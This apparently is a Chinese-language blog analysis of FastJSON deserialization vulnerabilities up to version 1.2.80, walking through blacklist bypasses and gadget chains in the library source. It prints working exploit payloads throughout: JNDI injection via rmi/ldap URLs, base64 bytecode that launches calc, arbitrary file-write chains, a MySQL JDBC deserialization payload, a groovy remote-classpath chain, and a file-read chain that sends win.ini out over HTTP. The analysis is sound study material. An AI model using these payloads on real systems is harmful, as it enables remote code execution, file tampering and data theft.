FastJSON(全系漏洞分析-截至20230325)
前言
FastJSON也不是什么新奇玩意了,之前都是看別的師傅的分析文章,也沒有自己手動調(diào)試過,紙上學(xué)來終覺淺;這次決定自己手動調(diào)試一下,跟蹤一下各個利用鏈以及原理;
全文一共7407個字,建議慢慢看;
截至到目前,F(xiàn)astJSON>=1.2.83還未有新的漏洞,所以我的分析聚集在1.2.80及以下;
使用的POC來自:https://github.com/safe6Sec/ShiroAndFastJson
概述
FastJSON可以使用@type屬性將JSON字符串轉(zhuǎn)化為指定的類,例如
{
"@type":"com.zeanhike.User",
"name":"zhangsan",
"age":18
}//在JSON字符串中已指定@type屬性
JSON.parse(s1) //獲得User類型的對象
JSON.parseObject(s1) ?//獲得JSONObject類型的對象
JSON.parseObject(s1,Object.class) //獲得User類型的對象
當(dāng)JSON字符串轉(zhuǎn)換成對象時,如果setter方法滿足如下條件,會調(diào)用setter方法為對象的屬性賦值
方法名長度大于4
非靜態(tài)方法
返回值為void或者當(dāng)前類
以set開頭且第四個字母為大寫
參數(shù)個數(shù)為1個
當(dāng)不滿足如上條件之一時,但是getter方法滿足如下條件時,會調(diào)用getter方法
方法名長度大于4
非靜態(tài)方法
以get開頭且第四個字母為大寫
無參數(shù)傳入
返回值類型繼承自Collection Map AtomicBoolean AtomicInteger AtomicLong
此屬性沒有setter方法

使用ASM動態(tài)生成一個專門的類為屬性賦值

Fastjson還有以下功能點:
如果目標(biāo)類中私有變量沒有setter方法,但是在反序列化時仍想給這個變量賦值,則需要使用
Feature.SupportNonPublicField
參數(shù)fastjson 在為類屬性尋找getter/setter方法時,調(diào)用函數(shù)
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,會忽略_ -
字符串fastjson 在反序列化時,如果Field類型為byte[],將會調(diào)用
com.alibaba.fastjson.parser.JSONScanner#bytesValue
進(jìn)行base64解碼,在序列化時也會進(jìn)行base64編碼
fastjson<=1.2.24
com.sun.rowset.JdbcRowSetImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.rowset.JdbcRowSetImpl
payload:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1097/Object",
"autoCommit": true
}
先調(diào)用setDataSourceName為父類BaseRowSet的dataSource屬性賦值


然后調(diào)用setAutoCommit為autoCommit賦值

在賦值過程中,調(diào)用了connect方法

在connect方法中獲取dataSourceName屬性的值,進(jìn)行l(wèi)ookup,造成JNDI注入

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
payload:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAiTGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0OwEAClNvdXJjZUZpbGUBAAxKREs3dTIxLmphdmEMAAQABQcAEwEAIGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAG2NvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACEKACIADwAhAAIAIgAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAjsQAAAAIABwAAAAYAAQAAACoACAAAAAwAAQAAAAUACQAMAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'exp','_tfactory':{ },"_outputProperties":{ }}
會先為TemplatesImpl對象的屬性進(jìn)行賦值,由于這些屬性都沒有setter方法,但是開啟了Feature.SupportNonPublicField特性,就可以成功賦值而不需要setter方法,由于_outputProperties
這個屬性有g(shù)etter方法,且滿足之前說的特性,所以當(dāng)設(shè)置完所有屬性的值后,會調(diào)用它的getter方法,也就是getOutputProperties

跟進(jìn)newTransformer()

跟進(jìn)getTransletInstancew()

_name
不為空且_class
為空,才會進(jìn)入defineTransletClasses()
在defineTransletClasses()方法中,首先_tfactory
屬性不能為空,否則會造成空指針異常,同時在后面將二維數(shù)組_bytecode
屬性轉(zhuǎn)化為Class對象,同時存入一維數(shù)組_class
屬性中,同時有一個細(xì)節(jié)就是我們構(gòu)造的惡意類父類要為com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,不然這個索引不會更新當(dāng)前位置
然后回到getTransletInstance()方法
這里根據(jù)_class
屬性以及當(dāng)前索引獲取當(dāng)前Class對象,并拿到無參構(gòu)造器進(jìn)行實例化,可以將惡意代碼放在無參構(gòu)造函數(shù)或者靜態(tài)代碼塊中,這樣實例化時就會觸發(fā)命令執(zhí)行等操作從而RCE
1.2.25<=fastjson<=1.2.41
在1.2.25版本及以上,在ParserConfig中新增了黑白名單,同時存在一個autoTypeSupport屬性用來設(shè)置是否支持反序列化,同時多了個checkAutoType方法用來檢測非法操作;
在DefaultJSONParser中的parseObject方法中,調(diào)用了ParserConfig的checkAutoType進(jìn)行校驗并加載類
在ParserConfig的checkAutoType方法中傳入我們指定的類

這里會判斷autoTypeSupport屬性的值,所以我們看看默認(rèn)的autoTypeSupport屬性的值
由于在new一個ParserConfig時,會設(shè)置autoTypeSupport屬性還有denyList(黑名單)、acceptList(白名單)

而這里autoTypeSupport被賦值成AUTO_SUPPORT

而AUTO_SUPPORT在類實例化時,默認(rèn)為false
這里會到checkAutoType方法



傳遞的兩個參數(shù),第一個為反序列化的類,第二個為null
然后進(jìn)行如下操作:
autoTypeSupport為false,從緩存中找是否有該類的Class,找不到再從Map中找到該類的ObjectDeserializer
然后進(jìn)行黑白名單匹配
最后拋出JSONException異常,
autoType is not support.
~
若是autoTypeSupport屬性為true,進(jìn)行如下操作:
進(jìn)行黑白名單匹配
從緩存中找是否有該類的Class,找不到再從Map中找到該類的ObjectDeserializer
然后調(diào)用
TypeUtils.loadClass(typeName, this.defaultClassLoader);
加載這個類
這里進(jìn)入TypeUtils.loadClass(typeName, this.defaultClassLoader)
中

這里如果className是以[
開頭或者L
開頭;
結(jié)尾,就會截取中間部分,去除這些符號
所以這里可以繞過黑白名單限制,當(dāng)設(shè)置了autoTypeSupport屬性為true時,我們可以往@type指定的類前面加[
或者L
開頭;
結(jié)尾進(jìn)行黑白名單繞過
fastjson=1.2.42
1.2.42版本將黑名單變成hashcode
而在checkAutoType中
會對L
開頭;
結(jié)尾的className先進(jìn)行去除,然后在使用TypeUtils.loadClass(typeName, this.defaultClassLoader)
加載類
這里雙寫L和;即可繞過
fastjson=1.2.43
同樣在checkAutoType中,判斷前兩個字符不能為L,否則拋異常,可以使用[
繞過
payload比較特別:
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"rmi://127.0.0.1:1097/Object",
"autoCommit":true
}
@type后緊跟[代表數(shù)組,以{開頭表示數(shù)組中的一個元素,多少個{表示數(shù)組有多少個元素,例如:
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"rmi://127.0.0.1:1097/Object",
"autoCommit":true,{xxx,{xxx
}
1.2.44<=fastjson<=1.2.45
在1.2.44中修改[
符號產(chǎn)生的繞過
不過依然可以使用黑名單不存在的類進(jìn)行繞過
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}
這個需要依賴mybatis框架
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.11</version>
</dependency>
fastjson<=1.2.47
可以在不開啟autoTypeSupport且繞過黑白名單的情況下進(jìn)行RCE,在checkAutoType方法中,若沒有開啟autoTypeSupport則會走到這里
從兩個地方取,如果取的到就返回
這里可以通過往TypeUtils的緩存中存入我們的類
而在TypeUtils中的loadClass可以存入緩存,而在MiscCodec的deserialze中會調(diào)用TypeUtils中的loadClass進(jìn)行類加載并存入緩存
這里重點是strVal,strVal是我們存入的緩存類,然后往上翻
strVal來源于objVal,objVal來源于parser.parse,同時這里有個細(xì)節(jié)就是lexer.stringVal解析到的JSON鍵必須為val不然會拋出錯誤,然后parser.parse就是拿到JSON的值,所以可以指定鍵為val,值為com.sun.rowset.JdbcRowSetImpl,這樣就會將com.sun.rowset.JdbcRowSetImpl加入緩存中
所以什么時候會調(diào)用MiscCodec的deserialze方法呢?
在DefaultJSONParser的parseObject會調(diào)用
這里根據(jù)clazz從ParserConfig中取deserializer
ParserConfig中有一個deserializers屬性,專門用來存deserializer
在ParserConfig的initDeserializers會初始化這個屬性,往里面存一些Class和對應(yīng)的deserializer
這里會存入MiscCodec,它對應(yīng)Class類型

所以回到DefaultJSONParser的parseObject中

當(dāng)clazz為Class時,會獲取Class對應(yīng)的deserializer,也就是MiscCodec,調(diào)用它的deserialize方法,這個clazz可以通過@type進(jìn)行設(shè)定
最后的payload如下
{
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1097/Object",
"autoCommit": true
}
}
這里傳遞的JSON字符串存在兩個對象,第一個對象用來將指定類存入緩存中,第二個對象用來觸發(fā)JNDI注入
1.2.48<=fastjson<=1.2.68
在MiscCodec的deserialze中將cache設(shè)置成false,不允許存入緩存

但是也產(chǎn)生了新型繞過
在ParserConfig的checkAutoType中,利用expectClass繞過
這里看看

首先expectClass不能為null,且不能等于Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection,才會將expectClassFlag設(shè)置成true

其次,在未開啟autoTypeSupport的情況下,會匹配黑白名單,所以不能跟黑名單里的類相同

expectClassFlag為true后,會根據(jù)typeName使用TypeUtils的loadClass去加載類,后面若clazz是expectClass的子類就放入huan'c返回

也就是說這里typeName要為expectClass的子類,才能繞過checkAutoType的檢測,同時繞過autoTypeSupport的限制
而只有兩處地方,會調(diào)用checkAutoType且傳遞expectClass參數(shù)

一個在ThrowableDeserializer的deserialize中

另一個在JavaBeanDeserializer的deserialize中
先看ThrowableDeserializer的deserialize,在checkAutoType調(diào)用完后并返回class后

在下面會直接創(chuàng)建實例
而在JavaBeanDeserializer的deserialize中
調(diào)用完checkAutoType得到userType后,會獲取userType對應(yīng)的deserializer,然后調(diào)用deserialize方法,觸發(fā)userType的反序列化,執(zhí)行setter或getter方法
網(wǎng)上公開的poc:
這個使用了JavaBeanDeserializer那條鏈,但是我在jdk8下復(fù)現(xiàn)失敗
這是因為fastjson在通過帶參構(gòu)造函數(shù)進(jìn)行反序列化時,會檢查參數(shù)是否有參數(shù)名信息,只有含有參數(shù)名信息的帶參構(gòu)造函數(shù)才會被認(rèn)可
而我用的Windows下,Oracle JDK8的MarshalOutputStream類,不含有LocalVariableTable
由于大部分 JDK/JRE 環(huán)境的類字節(jié)碼里都不含有 LocalVariableTable,而很多第三方庫里的字節(jié)碼是有 LocalVariableTable 的。
淺藍(lán)發(fā)的1.2.68利用第三方gadget寫文件
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "d:/test/pwn.txt",
"tempPath": "d:/test/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "YjF1M3I=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
依賴的jar包有點多
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>
這里有個細(xì)節(jié),就是在一些屬性下使用了$ref,例如outputStream屬性下,鍵$ref,值為$.stream,代表為outputStream屬性賦值為stream對象;
首先調(diào)用SafeFileOutputStream的帶參構(gòu)造函數(shù),然后調(diào)用Output的無參構(gòu)造函數(shù),使用setter為屬性賦值,最后調(diào)用SerialOutput的構(gòu)造函數(shù)

這里的out為Output,進(jìn)入super中

包裝out成BlockDataOutputStream,然后調(diào)用setBlockDataMode

然后調(diào)用drain

進(jìn)行數(shù)據(jù)寫入

繼續(xù)傳遞

寫完數(shù)據(jù)調(diào)用require方法
進(jìn)入this.flush()
調(diào)用SafeFileOutputStream進(jìn)行寫,此時才是真正寫到文件,寫完調(diào)用flush關(guān)閉
MarshalOutputStream進(jìn)行文件讀寫跟這個調(diào)用鏈差不多
使用commons-io庫
這也是使用了JavaBeanDeserializer那條鏈
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
層層包裝,使用TeeInputStream作為連接輸入流和輸出流的橋梁
大致過程就是:
XmlStreamReader的構(gòu)造函數(shù)觸發(fā)read,然后用TeeInputStream進(jìn)行read,TeeInputStream又用ReaderInputStream進(jìn)行read,ReaderInputStream又用CharSequenceReader從字符序列中進(jìn)行read
在TeeInputStream中的read方法中,read完之后會調(diào)用write進(jìn)行寫入,也就是調(diào)用WriterOutputStream進(jìn)行write,WriterOutputStream又用FileWriterWithEncoding進(jìn)行write
流程圖如下:
循環(huán)讀取
從字節(jié)序列中取,然后返回
返回到TeeInputStream的read方法中,然后進(jìn)行write


然后進(jìn)行文件寫入
這里面有兩個個細(xì)節(jié):
"charSequence":{"@type":"java.lang.String""aaaaaa"}
對于這種畸形JSON,仍然能解析執(zhí)行該POC后雖然文件能創(chuàng)建但是無法寫入
因為我懶,直接貼原作者的圖進(jìn)行解釋
原文鏈接Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 寫文件利用鏈挖掘分析(以下部分為引用)
當(dāng)要寫入的字符串長度不夠時,輸出的內(nèi)容會被保留在 ByteBuffer 中,不會被實際輸出到文件里
sun.nio.cs.StreamEncoder#implWrite

問題搞清楚了,我們需要寫入足夠長的字符串才會讓它刷新 buffer,寫入字節(jié)到輸出流對應(yīng)的文件里。那么很自然地想到,在 charSequence 處構(gòu)造超長字符串是不是就可以了?
可惜并非如此,原因是 InputStream buffer 的長度大小在這里已經(jīng)是固定的 4096 了:

也就是說每次讀取或者寫入的字節(jié)數(shù)最多也就是 4096,但 Writer buffer 大小默認(rèn)是 8192:

因此僅僅一次寫入在沒有手動執(zhí)行 flush 的情況下是無法觸發(fā)實際的字節(jié)寫入的。
可以使用$ref引用同一個對象進(jìn)行循環(huán)寫入
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(長度要大于8192,實際寫入前8192個字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"D:/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
XmlStreamReader在構(gòu)造器方法會觸發(fā)doRawStream()方法,在doRawStream()方法中觸發(fā)getBOMCharsetName(),在getBOMCharsetName()中觸發(fā)getBOM(),getBOM()觸發(fā)TeeInputStream的read()方法,此時TeeInputStream為同一個對象(因為引用了上一個對象),就可以達(dá)循環(huán)讀寫。
該思路引導(dǎo)了很多人使用該庫進(jìn)行其他方式的利用
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type": "org.apache.commons.codec.binary.Base64InputStream",
"in":{
"@type":"org.apache.commons.io.input.CharSequenceInputStream",
"charset":"utf-8",
"bufferSize": 1024,
"s":{"@type":"java.lang.String""input your content"
},
"doEncode":false,
"lineLength":1024,
"lineSeparator":"5ZWKCg==",
"decodingPolicy":0
},
"branch":{
"@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath":"./1.txt"
},
"closeBranch":true
},
"include":true,
"boms":[{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes":"input your bytes" ? ? ? ? ? ?
}],
"x":{
"$ref":"$.bom"
}
}
這個很巧妙使用了$ref,$.bom
獲取根對象的bom屬性,根對象為BOMInputStream
這可以循環(huán)調(diào)用,例如:
獲取班級下的學(xué)生的姓名
new Classes().getStudent().getName()
假設(shè)根對象為班級,對應(yīng)JSONPath為
$.student.name
JSONPath會進(jìn)行分段,段有很多類型

這里對應(yīng)的是屬性段PropertySegment,將$.student.name分成兩個PropertySegment對象,一個是代表student屬性的PropertySegment對象,第二個是代表name屬性的PropertySegment對象;然后會遍歷每個段調(diào)用eval方法


獲取屬性值,會調(diào)用該屬性的getter方法
所以$.bom會調(diào)用getBOM()方法觸發(fā)利用鏈進(jìn)行讀取
還有使用Mysql進(jìn)行SSRF和反序列化漏洞攻擊的
使用mysql-connector-java庫
SSRF沒太大用,這里不說,利用反序列化漏洞可以RCE,但是需要依賴對應(yīng)java應(yīng)用程序需要有相關(guān)的鏈
Mysql JDBC反序列化攻擊
當(dāng)我們控制了連接數(shù)據(jù)庫的字符串時,我們可以偽造一個數(shù)據(jù)庫,將需要反序列化的惡意對象存儲在BLOB類型的字段中,當(dāng)客戶端獲取該BLOB類型的數(shù)據(jù)時會自動反序列化造成RCE
github上有fake mysql server配合該poc進(jìn)行RCE
//<=1.2.68 and mysql 8.0.19可反序列化 >8.0.19可SSRF
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [{
"host": ""
}],
"slaves": [],
"properties": {
"host": "127.0.0.1",
"user": "yso_CommonsCollections4_calc",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}
類似的還有PostgreSQL JDBC RCE
SafeMode
在1.2.68存在safemode

默認(rèn)為關(guān)閉,只要開啟會直接拋出異常,不解析@type指定的JSON字符串
1.2.80<=fastjson<=1.2.69
在1.2.69中
在ParserConfig的checkAutoType中,若expectClass為AutoCloseable,則設(shè)置expectClassFlag為false,導(dǎo)致AutoCloseable為首的利用鏈都無法使用

加的這三個expectHash為java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable
雖然JavaBeanDeserializer這條路走不通,但是仍然可以走ThrowableDeserializer這條路
使用groovy庫
這個適用于1.2.76~1.2.80,為啥1.2.76以下不適用呢?后面會說
網(wǎng)上的payload是:
//兩次parse
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8080/"
}
}
之前說過為Exception的子類可以繞過checkAutoType(),然后調(diào)用createException()創(chuàng)建實例
ThrowableDeserializer.deserialize()
繞過checkAutoType(),并設(shè)置exClass為CompilationFailedException
但是重點在CompilationFailedException的unit屬性中,在第二次掃描符號時,掃描到unit屬性
然后將key和parser.parser()放進(jìn)otherValues,key為unit,parser.parse()解析JSON字符串的unit屬性的值,指定為空,所以這里為空
但是由于CompilationFailedException的構(gòu)造函數(shù)不符合條件,所以無法創(chuàng)建實例,ex為null,只能創(chuàng)建Exception()實例并賦值給ex
otherValues不為null,獲取unit屬性的deserializer,判斷unit的Class不是value的實例的話,調(diào)用TypeUtils.cast()方法,然后傳遞unit屬性的類型,unit屬性為ProcessingUnit類

cast又調(diào)用cast,套娃

cast方法里又調(diào)用castToJavaBean

在castToJavaBean方法里,調(diào)用getDeserializer獲取ProcessingUnit類的deserializer

然后調(diào)用getDeserializer的重載,套娃

然后在getDeserializer方法的重載里,創(chuàng)建了ProcessingUnit類型的deserializer,然后調(diào)用putDeserializer
在putDeserializer方法里,將ProcessingUnit類型的deserializer放進(jìn)了ParserConfig的deserializers屬性中,這是后面繞過checkAutoType()的關(guān)鍵
然后一路返回deserializer
不符合條件創(chuàng)建實例失敗,返回null
然后setValue
第一次POC觸發(fā),將ProcessingUnit類型的deserializer放進(jìn)了ParserConfig的deserializers中
在第二次POC觸發(fā)中,
檢測@type屬性的類時,調(diào)用checkAutoType方法
由于已將ProcessingUnit類的deserializer放進(jìn)了緩存中,所以這里可以找到clazz,繞過了checkAutoType的限制
同時第二次使用了JavaBeanDeserializer那條鏈,在對JavaStubCompilationUnit進(jìn)行checkAutoType時,因為傳入了expectClass,所以過了checkAutoType的檢測
后面創(chuàng)建JavaStubCompilationUnit類的deserializer,然后它的調(diào)用deserialze方法,后面反射調(diào)用JavaStubCompilationUnit類的構(gòu)造器創(chuàng)建實例
將JSON字符串中classpathList屬性的值(http://127.0.0.1:8080/
)添加到classpath
繼承關(guān)系:

在CompilationUnit的構(gòu)造函數(shù)中super調(diào)用完后,會調(diào)用ASTTransformationVisitor.addPhaseOperations(this)

然后調(diào)用addGlobalTransforms

然后調(diào)用doAddGlobalTransforms

獲取META-INF/services/org.codehaus.groovy.transform.ASTTransformation文件中的內(nèi)容,META-INF/services/org.codehaus.groovy.transform.ASTTransformation該文件的內(nèi)容就是我們要執(zhí)行的惡意類的類名


然后調(diào)用addPhaseOperationsForGlobalTransforms(),transformNames中存儲了我們的惡意類

在addPhaseOperationsForGlobalTransforms方法中,進(jìn)行加載類,并實例化我們的惡意類,這個惡意類要為ASTTransformation的子類

我的惡意類:
package org.example.groovy;
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.CompilePhase;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;
import java.io.IOException;
@GroovyASTTransformation(phase= CompilePhase.CONVERSION)
public class AK implements ASTTransformation {
public AK() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {
}
}
總結(jié)
第一次使用ThrowableDeserializer那條鏈,將Exception作為expectClass繞過checkAutoType,成功加載CompilationFailedException,然后在獲取屬性unit(ProcessingUnit類)的deserializer放入緩存
第二次使用JavaBeanDeserializer那條鏈,由于ProcessingUnit的deserializer已放入緩存,所以繞過了checkAutoType,然后調(diào)用JavaStubCompilationUnit的構(gòu)造函數(shù)觸發(fā)后續(xù)操作
而最最關(guān)鍵的TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig())方法是用來將deserializer放入緩存的,沒有它就不會有第二步操作
而一開始說的為啥1.2.76以下不適用呢?因為在1.2.76版本下沒有cast調(diào)用
這是1.2.76版本下的:

對比1.2.76~80:

文件讀取
使用aspectJ庫
利用aspectJ進(jìn)行文件讀取,一種是錯誤回顯,另一種是dnslog(不成功)
雖然只依賴一個庫,但是會由于各種限制,并不會直接將錯誤結(jié)果返回到前臺
所以這個略過
使用aspectjtools庫、ognl庫以及commons-io庫
依賴三個jar包
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.2.21</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.2</version>
</dependency>
這個將文件讀取的結(jié)果進(jìn)行http外帶
poc1:
[{
"@type": "java.lang.Exception",
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
},
{
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits": [{}]
}
}
},
{
"x": {
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "aaa"
}
}]
poc2:
{
"su14": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},
"su15": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},
"su16": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:8080/?test",
"country": {
"@type": "java.lang.String" [{
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "C:/Windows/win.ini"
}]
}
}
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36
]
}]
}
}
}
},
"su17": {
"$ref": "$.su16.node.p.stream"
},
"su18": {
"$ref": "$.su17.bOM.bytes"
}
}
一步步來看,首先是這個:
[{
"@type": "java.lang.Exception",
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}
利用expectClass繞過checkAutoType檢測,并將SourceTypeCollisionException類進(jìn)行緩存,以便繞過對SourceTypeCollisionException類的checkAutoType的檢測
{
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits": [{}]
}
}
},
這一步會調(diào)用ParserConfig.getDeserializer為newAnnotationProcessorUnits所在的類ICompilationUnit創(chuàng)建deserializer并放入緩存,以便繞過對ICompilationUnit類的checkAutoType的檢測
{
"x": {
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "aaa"
}
}]
這里同樣利用expectClass繞過checkAutoType并將BasicCompilationUnit類進(jìn)行緩存,以便繞過對BasicCompilationUnit類的checkAutoType的檢測
然后是poc2
{"su14": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},
對OgnlException進(jìn)行緩存,以便繞過對OgnlException類的checkAutoType的檢測
"su15": {
